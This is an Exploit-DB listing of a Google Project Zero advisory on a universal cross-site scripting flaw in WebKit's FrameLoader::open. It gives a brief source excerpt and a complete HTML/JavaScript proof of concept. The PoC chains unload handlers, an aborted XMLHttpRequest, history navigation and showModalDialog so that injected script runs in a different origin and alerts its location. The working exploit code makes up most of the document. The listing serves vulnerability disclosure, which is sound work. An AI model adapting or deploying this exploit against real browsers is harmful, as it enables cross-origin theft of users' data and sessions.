EDB-ID: 42106 | Author: Google Security Research | Published: 2017-06-01 | CVE: N/A | Type: Webapps | Platform: Multiple | Aliases: N/A | Advisory/Source: Link | Tags: Cross-Site Scripting (XSS) | Vulnerable App: N/A | Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1197
This is similar to the case https://bugs.chromium.org/p/project-zero/issues/detail?id=1151.
But this time, javascript handlers may be fired in FrameLoader::open.
void FrameLoader::open(CachedFrameBase& cachedFrame)
{
...
clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called.
...
}
PoC:
-->
<html>
<body>
Click anywhere...
<script>
function createURL(data, type = 'text/html') {
return URL.createObjectURL(new Blob([data], {type: type}));
}
function navigate(w, url) {
let a = w.document.createElement('a');
a.href = url;
a.click();
}
window.onclick = () => {
window.w = open('about:blank', 'w', 'width=500, height=500');
let i0 = w.document.body.appendChild(document.createElement('iframe'));
let i1 = w.document.body.appendChild(document.createElement('iframe'));
i0.contentWindow.onbeforeunload = () => {
i0.contentWindow.onbeforeunload = null;
navigate(w, 'about:blank');
};
navigate(i0.contentWindow, createURL(`
<body>
<script>
</scrip` + 't></body>'));
setTimeout(() => {
let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
let x = new g.contentWindow.XMLHttpRequest();
x.onabort = () => {
parseFloat('axfasdfasfdsfasfsfasdf');
i0.contentDocument.write();
navigate(w, 'https://abc.xyz/');
showModalDialog(createURL(`
<script>
let it = setInterval(() => {
try {
opener.w.document.x;
} catch (e) {
clearInterval(it);
window.close();
}
}, 10);
</scrip` + 't>'));
setTimeout(() => {
i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
navigate(i1.contentWindow, 'about:srcdoc');
}, 10);
};
x.open('GET', createURL('x'.repeat(0x1000000)));
x.send();
w.history.go(-2);
}, 200);
};
</script>
</body>
</html>
